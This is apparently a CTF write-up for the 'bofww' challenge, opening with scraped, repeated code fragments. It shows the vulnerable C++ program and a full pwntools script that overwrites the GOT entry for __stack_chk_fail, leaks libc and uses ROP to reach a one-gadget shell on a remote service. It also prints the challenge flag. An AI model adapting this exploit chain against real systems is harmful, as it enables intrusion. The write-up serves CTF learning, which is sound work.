> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }"> > _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }"> > _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }">
#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

There’s win function.

Since there are canaries in this program, simple bof for _name in input_person doesn’t work.

However with the knowledgeless bof stuff, it lets you have some limited controll for rdi, rsi , and rbp and input arbitrary write terminated by null .

So you can just overwrite got for __stack_chk_fail with the address of win function.

then you can reach to flag…

CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}

??

then you will encounter another challenge, solving this without win function .

And you can finally pwn this like below..

from pwn import *

e = ELF("./bofww")
input_person = e.symbols['_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE']
main = e.symbols['main']
while True:
    g = remote("34.170.146.252", 45352)
    # Make `__stack_chk_fail` doesn't work.
    g.sendlineafter(b"name? ", p64(e.symbols['_init']) + p64(0x0) * 30 + p64(0x404d00) * 4 + p64(e.symbols['_start']) * 3  + p64(0x404050) + p64(0x404f30) + p64(e.symbols['_start']) * 30)
    g.sendlineafter(b"you? ", b"1")
    # Without this, this script will crash the program. because of the codes between [0x4013b9, 0x4013c6].
    g.sendlineafter(b"name? ", p64(0x404d48) + p64(0x0) * 30 + p64(0x404d00) * 4 + p64(e.symbols['_start']) * 3  + p64(0x404d00) + p64(0x404f30) + p64(e.symbols['_start']) * 30)
    g.sendlineafter(b"you? ", b"1")
    # Make operator= for string doesn't work. To leak memory, I had to exploit part of gadgets from `input_person` function.
    # However using that conclude into crash, because the stack is corrupted. To occur ROP with the corrupted `rbp`, we had to disable this function.
    # Since we don't know libc_base yet, and we can only input string with terminating null, by change only two bytes from got we can change the function to only `ret`.
    # Lastly, jump to address of `input_person + 54` to leak memory and cause ROP.
    g.sendlineafter(b"name? ", p64(0x10) + p64(0x0) * 30 + p64(0x404d00 + 0x128) * 4 + p64(input_person + 54) * 3  + p64(0x404058) + p64(0x404030) + p64(input_person + 54) * 30)
    g.sendlineafter(b"you? ", b"1")
    try:
        libc_base = u64(g.recvuntil(b'\\x7f', timeout=0.5)[:6] + b'\\x00\\x00') - 0x458c0
    except:
        g.close()
        continue
    oneshot = libc_base + 0xebdaf
    # Becuase we changed lower 2 bytes of got, with 1/16 probability, this script will do the trick.
    if (libc_base & 0xf000) != 0xb000:
        g.close()
        continue
    print(f'{hex(libc_base)=}')
    print(f'{hex(oneshot)=}')
    # You know libc_base ! MeChaKuCha ROP Go Go !
    g.sendline(b"A" * 0x110 + p64(0x404c00) + p64(oneshot))
    g.sendlineafter(b"you? ", b"1")
    g.interactive()
    break

Running the script gives us the flag again. But we can now happily ignore the message telling us to solve it without the win function